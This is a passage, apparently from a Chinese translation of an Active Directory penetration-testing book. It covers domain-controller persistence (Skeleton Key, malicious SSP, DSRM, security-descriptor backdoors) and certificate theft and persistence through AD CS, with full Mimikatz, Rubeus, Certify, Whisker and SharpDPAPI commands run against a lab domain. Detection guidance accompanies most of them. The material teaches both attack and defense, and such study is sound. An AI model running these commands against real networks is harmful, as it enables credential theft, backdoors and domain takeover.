检测可以通过网络流量监控或通过与域控制器的事件相关联来完成。蓝队可以通过监控来自非域控制器的特定 API 调用来检测传入的复制流量。在域控制器的安全日志中,防御人员可以检查 ID 为4662的一系列事件,通常包含CreateChildControl AccessDelete,这些操作在短时间内被访问。以下是记录的恶意事件示例:

图 7.26 – 恶意域控制器对象创建

图 7.26 – 恶意域控制器对象创建

另一种实现持久化的方式是通过使用来自Nishang[7]的脚本,在 AD 对象上设置 DCShadow 所需的最小权限。

我们的最后一个域级持久化技术,即 Golden gMSA 攻击,允许特权攻击者离线计算域和林中的 gMSA 密码。

Golden gMSA

让我们回顾一下,gMSA 用于服务账户的自动密码轮换,以缓解诸如 Kerberoasting 等攻击。我们在第四章中评估了这一解决方案的安全性。Golden gMSA 攻击最初由Yuval Gordon提出,他来自一家名为 Semperis 的公司。攻击的核心思想是,攻击者如果能够获取包含附加属性的密钥分发服务KDS)根密钥,就可以离线计算 gMSA 的密码。

注意

原始研究可以在此处找到:www.semperis.com/blog/golden-gmsa-attack/

使用GoldenGMSA[8]工具,攻击者可以离线计算 gMSA 密码,因为它是由 KDS 根密钥和其他几个属性衍生出来的。攻击者需要运行三条命令来获取base64格式的密码。第一条命令列出所有可用的 gMSA,第二条命令转储相应的 KDS 根密钥和其他属性,第三条命令使用前两条命令的输出计算 gMSA 密码:

GoldenGMSA.exe gmsainfo
GoldenGMSA.exe kdsinfo
GoldenGMSA.exe compute --sid S-1-5-21-2801885930-3847104905-347266 793-1115 --kdskey <kds_from_step_2> --pwdid AQAAAEtEU0sCAAAA aQEAAAYAAAACAAAAVXiD+faLnEL66hoQ7gimmwAAAAAYAAAAGAAAAGUAcwBzAG8 AcwAuAGwAbwBjAGEAbAAAAGUAcwBzAG8AcwAuAGwAbwBjAGEAbAAAAA==

成功的黄金 gMSA 攻击在这里演示:

图 7.27 – 使用黄金 gMSA 攻击检索 gMSA 密码

图 7.27 – 使用黄金 gMSA 攻击检索 gMSA 密码

需要提到的是,只有一个 KDS 根密钥;然而,计算 gMSA 的所有其他值是不同的,这意味着每个密码需要单独转储。

从防御角度来看,必须启用额外的审计功能以检测 KDS 根密钥转储尝试。

本节关于域持久性集中在域级别的控制。然而,还有其他方法可以通过滥用不同的认证机制和域控制器上的权限来进行 AD 后门攻击。

域控制器持久性

在 Windows 环境中,域控制器始终是恶意行为者在其攻击过程中关注的关键目标之一。如果攻击者已经入侵了域控制器并建立了持久性,那么他们有可能在几分钟内重新获得整个域的管理员权限。本节中的技术利用了凭据操作和认证机制的改变。在本节末,我们将解释安全描述符的概念,以及攻击者如何修改它们来维持在环境中的特权访问。

骨架密钥

骨架密钥攻击是一种在域控制器上的持久性方法,它在域中设置了一个主密码,允许攻击者以任何域用户的身份进行身份验证。然而,为了避免被早期检测到,安装的后门模块允许用户继续使用现有密码登录。为了使 Kerberos 认证正常工作,必须强制加密降级为RC4_HMAC_MD5。此攻击需要域管理员权限以及域控制器上的SeDebugPrivilege用户权限。骨架密钥攻击无法在重启后生效,因为对本地安全授权子系统服务LSASS)进程的所有操作都在内存中进行。

注意

关于骨架密钥内存操作的更详细描述可以在此处找到:adsecurity.org/?p=1255

Mimikatz 已经掌握了此攻击。以下命令会注入骨架密钥恶意软件:

mimikatz.exe „privilege::debug" „misc::skeleton"exit"

以下展示了成功攻击域控制器的示例:

图 7.28 – 骨架密钥恶意软件已在域控制器上部署

图 7.28 – 骨架密钥恶意软件已在域控制器上部署

现在,为了确认,我们在不知道特权用户密码的情况下映射了域控制器的 C:\ 驱动器:

net use Y: \\kingslanding.sevenkingdoms.local\c$ mimikatz /user:sevenkingdoms\robert.baratheon

磁盘成功映射:

图 7.29 – Skeleton Key 生效

图 7.29 – Skeleton Key 生效

为了部分缓解 Skeleton Key 攻击,我们通过在 HKLM\SYSTEM\CurrentControlSet\Control\Lsa 注册表项中创建 DWORDRunAsPPL 并设置为 1 来将 LSASS 作为受保护进程运行。如微软所述,"这将防止非管理员的非 PPL 进程通过打开进程函数访问或篡改 PPL 进程中的代码和数据。"

在以下屏幕截图中,我们可以看到原始的 Skeleton Key 攻击失败了:

图 7.30 – PPL 击败了 Skeleton Key 攻击

图 7.30 – PPL 击败了 Skeleton Key 攻击

然而,通过使用 Mimikatz 的 mimidrv.sys 驱动程序,仍然可以绕过 PPL 机制,移除该机制。然而,这种绕过方法更加显眼,因为它需要加载驱动程序和创建服务:

图 7.31 – PPL 保护被 mimidrv 移除

图 7.31 – PPL 保护被 mimidrv 移除

注意

还有其他针对 PPL 的绕过方法,itm4n 在这里有详细描述:itm4n.github.io/lsass-runasppl/

此外,蓝队可以通过组策略启用 LSASS 进程的审计模式。这样就可以监控 LSASS 加载的插件和驱动程序,事件 30333063 将分别出现在日志中。要启用审计,我们需要在 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LSASS.exe 注册表项中创建 AuditLevel DWORD 值,并设置为 8。当 Skeleton Key 攻击通过远程方式进行时,域控制器将记录事件 ID 为 4673461146884689 的事件,详见此处[9]。这些事件将显示使用敏感权限和登录进程的注册。最后两个事件仅在启用 Process Tracking 时出现。

为了进一步探索如何改变身份验证机制,我们将引入恶意 SSP 的概念。

恶意 SSP

安全支持提供者接口(SSPI) 是 Windows 身份验证的基础。当应用程序需要通过特定协议进行身份验证时,它们使用 SSPI 调用相应的 SSP。系统默认实现了六个 SSP,作为 DLL 文件,存储在 C:\Windows\System32 文件夹中。也可以引入自定义的 SSP。提供者列表存储在注册表项 HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages 中。

在已被攻陷的主机上,攻击者有两个选项。第一个选项是利用 Mimikatz 将恶意 SSP 直接注入 LSASS 进程。第二个选项是更新 SSP 安全包注册表键,将 mimilib.dll 放置在与 LSASS 同一文件夹(C:\Windows\System32)中,并等待重启。这两种方式都有明显的操作安全(OpSec)考虑因素。内存注入场景在重启后不会持续存在,但会立即开始记录密码。可以使用以下命令注入 Mimikatz 的 memssp 模块:

mimikatz.exe „privilege::debug" „misc::memssp"exit"

恶意 SSP 成功注入后的结果如下面的截图所示:

图 7.32 – Mimikatz memssp 模块被注入

图 7.32 – Mimikatz memssp 模块被注入

我们可以使用 misc::lock Mimikatz 命令锁定屏幕,迫使受害者重新登录。包含密码的日志文件位于 C:\Windows\System32\mimilsa.log,如下图所示:

图 7.33 – mimilsa.log 文件中的明文密码

图 7.33 – mimilsa.log 文件中的明文密码

要通过注册表手动添加 SSP,请运行以下命令:

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ /f

下面展示了mimilib成功添加为 SSP 的情况:

图 7.34 – mimilib 被注册为 SSP

图 7.34 – mimilib 被注册为 SSP

重启后,密码可以在 C:\Windows\System32\kiwissp.log 中找到:

图 7.35 – kiwissp.log 文件中的明文密码

图 7.35 – kiwissp.log 文件中的明文密码

为了检测恶意 SSP,蓝队可以监控 HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages 注册表键和磁盘上的文件变化。然而,攻击者可以更改日志存储文件夹和文件名。在 LSASS 注入的情况下,我们可以应用之前讨论过的相同检测方法。另外,建议将 LSASS 运行为 PPL。

为了通过身份验证操作实现我们的持久化,我们将讨论在域控制器上滥用本地管理员账户。

DSRM

目录服务还原模式DSRM)账户是域控制器上的本地管理员账户。此账户的密码与域管理员账户的密码不同。该密码在域控制器提升时设置,并且在密码轮换过程中经常被忽视。Sean Metcalf 对两种攻击场景做了很好的描述。第一种是将 DSRM 密码更改为已知密码,第二种是将其与我们选择的域账户同步。我们将利用 Ntdsutil 来执行这些操作。以下截图展示了这两种场景:

图 7.36 – DSRM 密码重置和同步场景

图 7.36 – DSRM 密码重置和同步场景

我们可以通过转储并比较用户哈希来确认同步是否成功:

图 7.37 – DSRM 密码已与 jaime.lannister 账户的密码同步

图 7.37 – DSRM 密码已与 jaime.lannister 账户的密码同步

使用 DSRM 密码登录时,有三种可能的场景。在域管理员权限下,攻击者可以通过将HKLM\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior中的注册表键值设置为以下之一,强制选择所需的选项:

  • 0(默认值):只有当域控制器处于 DSRM 模式时,才允许登录

  • 1:只有在停止目录服务时才允许登录

  • 2:可以自由登录,没有任何限制

使用 PowerShell,攻击者将把注册表值设置为2

New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD

然后,攻击者将执行哈希传递攻击,以域控制器的本地管理员身份启动 Shell,并运行 DCSync 攻击:

mimikatz.exe "lsadump::dcsync /domain:sevenkingdoms.local /dc:kingslanding /user:robert.baratheon /csv"

这里演示了 DCSync 的结果:

图 7.38 – 来自 DSRM 登录会话的 DCSync 结果

图 7.38 – 来自 DSRM 登录会话的 DCSync 结果

蓝队应监控HKLM\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior注册表键的存在。事件 ID 4794 将记录设置 DSRM 密码的尝试

我们最后的持久化技术将涵盖安全描述符及其如何设置,以便为恶意行为者提供特权访问,而无需显式地将受损用户添加到特权组中。

安全描述符更改

安全描述符用于存储一个对象对另一个对象的权限。它采用安全描述符定义语言SDDL)中定义的格式进行描述。访问控制实体ACE)字符串用于自愿访问控制列表DACL)和系统访问控制列表SACL)[10]:

ace_type;ace_flags;rights;object_guid;inherit_object_guid;account_sid;

这个想法是修改多个远程访问方法的安全描述符。我们将在域控制器上为非特权用户设置 WMI 和 PS-Remoting 访问后门。此外,我们还将修改远程注册表的安全描述符。RACE 工具包有用于这些任务的 PowerShell 功能:

Set-RemoteWMI -SamAccountName renly.baratheon -ComputerName kingslanding -Verbose
Set-RemotePSRemoting -SamAccountName renly.baratheon -Verbose
Add-RemoteRegBackdoor -Trustee renly.baratheon -ComputerName kingslanding -Verbose

在域控制器上执行命令的结果如下:

图 7.39 – 为用户 renly.baratheon 在域控制器上设置后门

图 7.39 – 为用户 renly.baratheon 在域控制器上设置后门

现在,我们可以确认 PS-Remoting 访问。

图 7.40 – PS-Remoting 后门正在运行

图 7.40 – PS-Remoting 后门正在运行

注册表后门允许攻击者检索机器账户哈希(银票)、本地账户哈希以及域缓存凭证。该后门打开远程注册表,检索BootKey,用它解密 LSA 密钥,然后在该密钥的帮助下解密MachineAccount哈希:

Get-RemoteMachineAccountHash -ComputerName kingslanding -Verbose
Get-RemoteLocalAccountHash -ComputerName kingslanding -Verbose
Get-RemoteCachedCredential -ComputerName kingslanding -Verbose

如果检测到 ID 为4670对象上的权限已更改)的日志事件,则可以检测到此后门。

总结

总之,攻击者可以通过多种方式在受损环境中实现持久性。这可以在域级别实现,也可以通过访问域控制器来实现。我们看到伪造票证的强大功能,以及如果对手遵循 OpSec 建议,其使用是多么难以检测。我们还探索了各种 ACL 和属性修改。像往常一样,细节决定成败,在复杂的环境中,检测这些技术可能会很棘手。我们在实践中看到了 DCShadow 和 Golden gMSA 攻击。我们深入探讨了域控制器持久性的话题,展示了收集明文密码的方法。最后,我们讨论了安全描述符以及可能的系统后门方式。

在接下来的章节中,我们将重点讨论攻击 AD 证书服务,这是 Windows 环境中的特权目标。

参考文献

  1. 关于 2021 年 11 月更新的评论: www.thehacker.recipes/ad/movement/kerberos/forged-tickets/silver

  2. PAC 请求者和 Golden Ticket 攻击: www.varonis.com/blog/pac_requestor-and-golden-ticket-attacks

  3. 通过检查校验和和票证时间来检测恶意活动: www.trustedsec.com/blog/red-vs-blue-kerberos-ticket-times-checksums-and-you/

  4. WonkaVision 工具: github.com/0xe7/WonkaVision

  5. 插入 SID 历史: www.thehacker.recipes/ad/persistence/sid-history

  6. ServerUntrustAccount: github.com/STEALTHbits/ServerUntrustAccount

  7. DCShadow 脚本: github.com/samratashok/nishang/blob/master/ActiveDirectory/Set-DCShadowPermissions.ps1

  8. GoldenGMSA 工具: github.com/Semperis/GoldenGMSA

  9. 一次远程 Skeleton Key 攻击: adsecurity.org/?p=1275

  10. ACE 解释: helgeklein.com/blog/permissions-a-primer-or-dacl-sacl-owner-sid-and-ace-explained/

第八章:滥用 Active Directory 证书服务

在接下来的两章中,我们将介绍几乎在每个环境中都可以找到但在 Active Directory 部署期间并未默认安装的服务。我们将从Active Directory 证书服务AD CS)开始。这项服务是 Microsoft 对与 Active Directory 集成的公钥基础设施PKI)的实现。它允许我们在整个 Active Directory 林中利用公钥密码学,提供证书、数字签名、代码签名和其他功能。然而,与伟大的能力伴随着伟大的责任。由于其复杂性,AD CS 在硬化和监控方面经常被忽视。2021 年 6 月,SpecterOps 发布了一篇全面的研究论文,在其中描述了攻击 AD CS 的已知和新方法[1]。

我们将从解释必要的 PKI 理论开始我们的学习旅程。然后,我们将覆盖可能的证书窃取方式,并实现在用户和计算机域账户上的持久性。最后,我们将探讨允许对手妥协域环境的域权限提升和持久性技术。如往常一样,所有攻击都将跟随详细的检测和预防建议。

在本章中,我们将探讨以下主题:

  • PKI 理论

  • 证书窃取

  • 账户持久性

  • 域权限提升

  • 域持久性

技术要求

在本章中,您需要访问以下内容:

  • VMware Workstation 或 Oracle VirtualBox 至少需要 16 GB RAM、8 CPU 核心和至少 55 GB 总空间(如果您使用快照,则需要更多空间)

  • 强烈推荐使用基于 Linux 的操作系统

  • 从 GOADv2 项目中,我们将使用 DC03 和 SRV03

PKI 理论

在本节中,我们将涵盖本章后续使用的必要理论和术语。首先,什么是公钥密码学?它是一种使用一对相关密钥的非对称加密系统。其次,它是如何工作的?简单来说,用户生成两个密钥(私钥和公钥),并使用私钥进行解密/签名消息。第二个密钥对所有人都可用(因此称为公共密钥),用于加密/验证消息的签名。这两个密钥在数学上是相关的,但不能从公钥恢复私钥。牢记刚才描述的概念,我们现在可以更详细地讨论 PKI。

PKI 的最重要组件包括认证机构CA)、注册机构RA)、中央目录、证书管理系统和证书政策。CA 是 PKI 的核心。CA 使用其自己的私钥签名与给定用户绑定的公钥。CA 可以是根 CA 和中间 CA。RA 负责实体的身份验证。中央目录存储密钥,证书管理系统控制证书的访问和交付。证书政策定义 PKI 的实体、角色和职责。

现在,让我们讨论一下 Active Directory[2]中的可用 AD CS 角色。微软创建了六种角色:

  • CA – 签发证书并管理其有效性

  • CA Web Enrollment – 允许用户通过浏览器连接到 CA 并请求证书以及证书撤销****列表CRLs

  • Online Responder – 评估证书的状态信息并将其发送回请求者

  • Network Device Enrollment ServiceNDES)– 允许为网络设备获取证书

  • Certificate Enrollment Web ServiceCES)– 允许通过 HTTPS 协议进行注册

  • Certificate Enrollment Policy Web ServiceCEP)– 允许用户和计算机获取证书注册策略信息

接下来,我们将更详细地讨论证书、模板及其相关流程。证书是一个由 CA 数字签名的文档,格式为 X.509。每个证书都有其特定的用途,如客户端身份验证、代码签名、智能卡登录等。这些用途被描述为对象标识符OIDs),并称为扩展密钥使用。证书模板定义其用途、获取证书所需的用户信息以及适用的访问控制。将证书模板视为一个原型,在签发过程中将填写用户信息。

现在,让我们讨论用户如何请求证书。这个过程称为注册。首先,客户端找到企业 CA,然后生成一对私钥和公钥,将公钥和其他相关信息放入证书签名请求CSR)中,用自己的私钥签名该 CSR,并将其发送到企业 CA。其次,CA 会执行一些检查,如用户是否有权限请求特定证书模板,以及用户是否允许进行注册。如果所有检查都成功通过,CA 将用提供的用户信息填写模板,用自己的私钥签名证书,并将其返回给用户。

在 Active Directory 中支持证书认证的两个协议是 Kerberos 和安全通道Schannel)。Kerberos 利用初始认证的公钥加密PKINIT)。用户将使用其证书的私钥签名认证挑战,并将其发送给域控制器。如果验证过程成功,将颁发一个 TGT。另一个协议是 Schannel。在认证过程中,域控制器会请求客户端提供证书,并通过使用 Kerberos S4U2self 扩展将凭据映射到用户帐户。如果失败,下一步是基于主题备用名称SAN)扩展、主题和颁发者字段将证书映射到用户帐户。Schannel 与 LDAPS 配合良好。

证书传递是认证过程中的预认证阶段,在此阶段,证书用于获取 TGT。在 PKINIT 的情况下,我们可以使用认证证书请求 TGT。如果 PKINIT 不受支持,我们可以通过 LDAP/S 使用名为 PassTheCert[3] 的工具进行认证。该工具的作者提供了很好的研究,后面会给出链接[4]。

在我们开始之前,我们需要为 AD CS 启用审计,以便能够检测到自己的恶意活动。PHDays 会议上提出了最佳的检测指南之一[5]。在这次演讲中,你还可以找到现成的搜索查询。为了通过组策略启用日志记录,我们需要在默认域策略中的以下路径下勾选成功失败计算机配置 | 策略 | Windows 设置 | 安全设置 | 高级审计策略配置 | 审计策略 | 对象访问 | 审计 证书服务

接下来,在 CA 属性中,我们将为所有事件启用审计,如下所示的截图所示:

图 8.1 – 为 AD CS 事件启用审计

图 8.1 – 为 AD CS 事件启用审计

现在我们已经了解了 PKI 的关键概念,让我们深入探讨实际部分。当然,理论部分还有很多内容需要覆盖,但我们会在必要时逐步引入,以帮助理解攻击。如果你希望先进行深入学习,欢迎查阅介绍中提到的 SpecterOps 论文。我们将从证书盗用技术开始我们的学习之旅。

证书盗用

本节将重点讨论终端上的证书盗取。如果环境中部署了 AD CS,那么证书很可能用于域身份验证。Windows 使用的是.pfx格式的证书,该格式包含证书本身及其对应的私钥。然而,私钥也可以单独存储,例如存储在专用硬件上,如受信平台模块TPM)、硬件安全模块HSM)或智能卡。大多数公司并未引入硬件元素,私钥通常存储在操作系统中。Windows 借助数据保护应用程序编程接口DPAPI)来保护密钥。为了演示,我们将为khal.drogo用户颁发一个不可导出的私钥证书。我们可以通过Microsoft 管理控制台MMC)中的证书管理单元来完成这一操作。现在,我们准备开始实践。

THEFT1 – 使用 CryptoAPI 导出证书

导出证书有两种方式。第一种是通过certmgr.msc中的图形界面,或者借助 PowerShell cmdlet,或者使用 CertStealer 工具[6]。这些工具使用 Windows CryptoAPI,并且只有在私钥可导出时才允许导出。如果私钥不可导出,我们可以使用 Mimikatz。其思路是对CryptoAPICAPI)或Cryptography API: Next GenerationCNG)进行补丁修复,具体取决于密钥提供者,以允许私钥导出。需要特别说明的是,CAPI 补丁修复是在当前进程中进行的。当使用 Microsoft 软件密钥存储提供程序时,需要进行 CNG 补丁修复,并且该修复会补丁密钥隔离KeyIso)服务,这个服务在lsass.exe进程中运行,这意味着你需要在机器上拥有“调试”权限。以下命令将显示khal.drogo拥有一个不可导出的私钥的证书:

mimikatz.exe "crypto::certificates /export" "crypto::capi" "crypto::certificates /export"  "exit"

第一次导出尝试由于私钥导出字段的错误而失败,但随后补丁导出成功。以下是命令执行结果:

图 8.2 – khal.drogo 的证书导出成功

图 8.2 – khal.drogo 的证书导出成功

检测此攻击的唯一方法是当需要 CNG 补丁修复并且对lsass.exe的访问正在被监控时。

THEFT2 – 通过 DPAPI 盗取用户证书

DPAPI 是 Windows 组件,允许应用程序存储敏感数据。此数据由主密钥保护,主密钥通过应用 PBKDF2 函数从用户的密码哈希、SID 和盐值推导而来。证书存储在 HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates 注册表键或 %APPDATA%\Microsoft\systemcertificates\my\certificates 文件夹中。关联的私钥存储在 %APPDATA%\Microsoft\Crypto\RSA\User SID(对于 CAPI 密钥)和 %APPDATA%\Microsoft\Crypto\keys(对于 CNG 密钥)中。小提醒:即使启用隐藏文件,也无法在文件夹中看到密钥。要查看这些文件夹的内容,请使用 dir** /**a:s 命令行。要解密证书的私钥,我们需要相应的主密钥。有几种方法可以获取主密钥,但其中三种方法需要提升的权限:

  • 从域控制器备份密钥 (lsadump::backupkeys)

  • DPAPI 缓存的主密钥 (sekurlsa::dpapi)

  • DPAPI_SYSTEM 密钥 (lsadump::secrets)

  • 通过提供用户的哈希值或密码

以下 Mimikatz 命令将允许您以 .der 格式转储证书,找出主密钥的 guidMasterKey 值,解密主密钥,最后解密证书的私钥:

crypto::system /file:C:\users\khal.drogo\appdata\roaming\microsoft\systemcertificates\my\certificates\C7889A4CBF0B4F10CA29347D81327DC6CED9ED95 /export
dpapi::capi /in:C:\Users\khal.drogo\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2801885930-3847104905-347266793-1112\d2d039eb9fe8cf2dd19f701b6f890220_9d1ba1ca-81ea-41ad-bc71-414af8de5013
dpapi::masterkey /in:C:\Users\khal.drogo\AppData\Roaming\Microsoft\Protect\S-1-5-21-2801885930-3847104905-347266793-1112\6e1524df-7d72-4b90-a95f-72341d79449f /rpc
dpapi::capi /in:C:\Users\khal.drogo\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2801885930-3847104905-347266793-1112\d2d039eb9fe8cf2dd19f701b6f890220_9d1ba1ca-81ea-41ad-bc71-414af8de5013 /masterkey:5401985c1aa5a8ae1f25a9f08beaa53f4b6ad98e

在 Linux 机器上借助 openssl,我们可以构建有效的 .****pfx 文件:

openssl x509 -inform DER -outform PEM -in C7889A4CBF0B4F10CA29347D81327DC6CED9ED95.der -out public.pem
openssl rsa -inform PVK -outform PEM -in dpapi_exchange_capi_0_te-User-d700e753-1b10-45c7-aa92-b8a8ffe7493d.keyx.rsa.pvk -out private.pem
openssl pkcs12 -in public.pem -inkey private.pem -password pass:12345 -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out drogo_cert.pfx

前述命令的结果如下图所示:

图 8.3 – 成功为 khal.drogo 构建 .pfx 证书

图 8.3 – 成功为 khal.drogo 构建 .pfx 证书

一个重要的注意事项是,/rpc 密钥在 dpapi::masterkey 命令中将启动与域控制器的 IPC$ 的连接,并创建一个名为 pipeprotected_storage。我们可以在下图中看到流量示例:

图 8.4 – 机器与域控制器之间的流量

图 8.4 – 机器与域控制器之间的流量

另一种检测证书盗窃的方法是通过审计 SACL。通过使用对象读取 SACL,防御者可以检测对 DPAPI 主密钥和私钥的访问。Windows 事件 ID 4663 将被记录到服务器事件日志中,包括进程名称。

THEFT3 – 通过 DPAPI 盗取机器证书

为了窃取机器证书,攻击者需要获取提升的权限。机器主密钥位于 C:\Windows\System32\Microsoft\Protect\S-1-5-18\UserC:\Windows\System32\Microsoft\Protect\S-1-5-18 文件夹中。机器证书的私钥位于 C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys 文件夹中(适用于 CAPI),以及 C:\ProgramData\Microsoft\Crypto\Keys 文件夹中(适用于 CNG)。要解密这些私钥,必须使用 DPAPI_SYSTEM 密钥。为了执行这个攻击,我们将使用 SharpDPAPI[7] 工具。我们将以提升的权限运行此工具;它会自动提升到 SYSTEM 权限,提取 DPAPI_SYSTEM 密钥,并使用它来查找和解密主密钥。最后,它将解密所有机器证书的私钥:

SharpDPAPI.exe certificates /machine

提升权限和获取 DPAPI_SYSTEM 密钥的过程可以在这里看到:

图 8.5 – 使用 SharpDPAPI 获取 DPAPI_SYSTEM

图 8.5 – 使用 SharpDPAPI 获取 DPAPI_SYSTEM

SharpDPAPI 执行的结果如下所示:

图 8.6 – 解密的机器证书私钥之一

图 8.6 – 解密的机器证书私钥之一

此攻击使用 DPAPI_SYSTEM 密钥,因此不会从机器发送任何流量。唯一可能的检测方式是通过 SACL 阅读 DPAPI 加密的密钥进行审计。

THEFT4 – 获取证书文件

另一个有效的攻击方法是简单地搜索证书(.crt**/**.cer**/.pfx**)、密钥(.key)、CSR(.csr)和 Java 密钥库(.jks**/**.keystore**/.keys**)。对于密码保护的证书,可以借助 pfx2john 工具提取哈希值,然后进行破解。为了理解证书的用途,我们可以运行以下命令:

certutil -dump -v drogo_cert.pfx

以下是执行上述命令对 THEFT2 攻击中提取的用户证书进行处理后的结果:

图 8.7 – 获取的 khal.drogo 证书的 EKU

图 8.7 – 获取的 khal.drogo 证书的 EKU

重要说明:如果在转储时出现 无效密码 错误,您需要在最后一步(使用 openssl 在 Linux 机器上构建 .pfx 证书时)添加 -legacy 选项。

建议的检测方法是引入“蜜罐证书”,以便防御方能够检测和跟踪恶意活动。

THEFT5 – 通过 PKINIT 窃取 NTLM 凭证(nPAC-the-hash)

PKINIT 是一种预认证验证机制。简而言之,当使用 PKINIT 获取 TGT 时,我们可以从 TGS-REQ 中的 PAC_CREDENTIAL_INFO 结构中提取 LM 和 NT 哈希值。此功能使我们能够在远程服务器不支持 Kerberos 而仍依赖 PKINIT 进行预认证时,切换回 NTLM 认证。

攻击步骤如下:

  1. 使用 PKINIT 进行预身份验证并获得包含会话密钥的 TGT。TGT 中的 PAC 将包含 PAC_CREDENTIAL_INFO 结构,其中包含 NT 和 LM 哈希,但由于它是用 krbtgt 密钥加密的,因此无法解密。

  2. 接下来,通过结合 S4U2self 和 U2U 请求服务票证。

  3. 获取的服务票证将包含 PAC 和 PAC_CREDENTIAL_INFO 结构,该结构是用会话密钥加密的,可以解密。

需要提到的重要一点是,我们需要访问证书及其密码。这听起来有点复杂,但所有这些都可以通过 Rubeus 中的单个命令完成:

Rubeus.exe asktgt /getcredentials /user:khal.drogo /certificate:drogo_cert.pfx /password:12345 /domain:essos.local /show

前述命令的结果如下截图所示:

图 8.8 – khal.drogo 用户的 UnPAC 哈希

图 8.8 – khal.drogo 用户的 UnPAC 哈希

可以根据 U2U 和 S4U2self 请求期间票证上设置的标志来检测此技术。如果在 TGS-REQ 中设置了 ForwardableRenewableRenewable_okEnc_tkt_in_skeyCanonicalize 选项,则很可能使用了 Certipy、Kekeo 或 Rubeus[8]。另一种方法是通过跟踪 Windows 事件 ID 4768 来查找证书信息值。

在下一节中,我们将讨论帐户持久性技术。

帐户持久性

在攻击者获得初步控制后,下一步通常是建立持久性。在本节中,我们将仅讨论依赖于证书使用的持久性技术。

PERSIST1 – 通过证书进行的活动用户凭证盗窃

用户可以请求 CA 环境中任何他们被允许注册的模板的证书。攻击者可能会集中在允许客户端身份验证的模板上。一个重要的注意事项是,模板不应要求经理批准或“授权签名”要求。这个要求定义了需要为证书请求应用多少个数字签名以获得批准。有一个默认模板叫做 User,但它可能已被禁用。为了找到其他可用的模板,我们可以使用一个叫做 Certify 的工具[9]。以下命令将发送 LDAP 查询并显示可用的模板:

Certify.exe find /clientauth

执行命令的结果如下:

图 8.9 – Certify 找到了客户端身份验证证书模板

图 8.9 – Certify 找到了客户端身份验证证书模板

在此示例中,不需要授权签名,域用户可以注册证书。然后,攻击者可以在 GUI 中、使用 certreq 工具或 Certify 请求证书:

Certify.exe request /ca:braavos.essos.local\essos-ca /template:User

证书已成功发放:

图 8.10 – 用户证书已发放

图 8.10 – 用户证书已发放

下一步是从输出文件中复制私钥和证书,并将其保存为 .pem 扩展名。然后,使用 openssl 将其转换为 .pfx 格式,如下所示命令:

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -legacy -out viserys_cert.pfx

现在我们已经获得了一个证书,可以在证书有效期内用来请求 TGT。而且,用户密码的更改不会影响证书。如前所述,在 THEFT5 中,攻击者可以随时通过 nPAC-the-hash 获取用户的 NT 哈希值。这是一种隐蔽且长期有效的凭证访问技术。

要检测这种类型的持久性,必须借助 certutil.exe 查询 CA 数据库。在 Windows 事件日志中未显示很多有价值的信息——尤其是操作系统版本、用户/进程信息、证书中的主题等。这些参数对于检测恶意活动非常有帮助。

PERSIST2 – 通过证书实现机器持久性

发放机器证书需要提升的权限。Certify 会自动提升权限至SYSTEM,并使用以下命令获取机器证书:

Certify.exe request /ca:braavos.essos.local\essos-ca /template:Machine /machine

结果如下图所示:

图 8.11 – 已发放机器证书

图 8.11 – 已发放机器证书

后续步骤相当直接。攻击者可以通过机器上的 S4U2self 获取任何服务的服务票证,并以任何用户身份访问该服务。持久性将在证书过期或系统名称更改之前持续有效。这种方式非常隐蔽,因为主机没有发生任何更改。

检测方法与 PERSIST1 相同。

PERSIST3 – 通过证书续期实现账户持久性

攻击者可以在证书有效期内使用证书,并在续期期间或更早时续订证书。此方法难以检测,因为它使用的是内置功能,几乎不留下任何痕迹。

Shadow 凭证

这种技术是一种账户接管;然而,它仍然可以视为账户持久性。原始研究由 Elad Shamir [10] 发布。如果用户是 Key AdminsEnterprise Key Admins 的成员,或者对其他用户或计算机账户拥有 GenericWriteGenericAll 权限,则可以将 Key Credentials 添加到 msDS-KeyCredentialLink 属性中。该属性存储原始公钥,之后这些公钥将用于通过 PKINIT 执行 Kerberos 身份验证,代表该账户进行身份验证。攻击可以通过 Whisker [11] 或 Certify 来执行。第一步,攻击者会识别我们已经拥有必要权限的用户。

图 8.12 – 用户 khal.drogo 对 viserys.targaryen 拥有 GenericAll 权限

图 8.12 – 用户 khal.drogo 对 viserys.targaryen 拥有 GenericAll 权限

现在,以下命令将向 msDS-KeyCredentialLink 属性中添加信息:

Whisker.exe add /target:viserys.targaryen /domain:essos.local

在后台,Whisker 会通过 LDAP 和 Kerberos 与域控制器进行交互。攻击步骤会显示在工具输出中,并附有执行 nPAC-the-hash 攻击的 Rubeus 命令。

图 8.13 – Shadow 凭证攻击

图 8.13 – Shadow 凭证攻击

为了验证属性是否已成功更新,攻击者可以运行list命令。一个属性包含用户 ID、认证数据、公共密钥、最后登录时间和设备 ID,但输出结果将只显示最后两个:

图 8.14 – 属性值检查

图 8.14 – 属性值检查

可以通过监控事件 ID 4768 来进行检测,其中会显示证书信息。另一种检测方法是为用户的 Active Directory 对象配置 SACL,并监控事件 ID 5136。还可以检查另一个事件 ID 4662。一些重要信息包括 GUID(5b47d60f-6090-40b2-9f37-2a4de88f3063)和写属性访问[8]。预防建议通常适用于 ACL 滥用场景——查找配置错误的帐户并修复它们。此外,建议明确拒绝Everyone对该属性的写入权限。

下一部分将介绍域权限提升攻击。

域权限提升

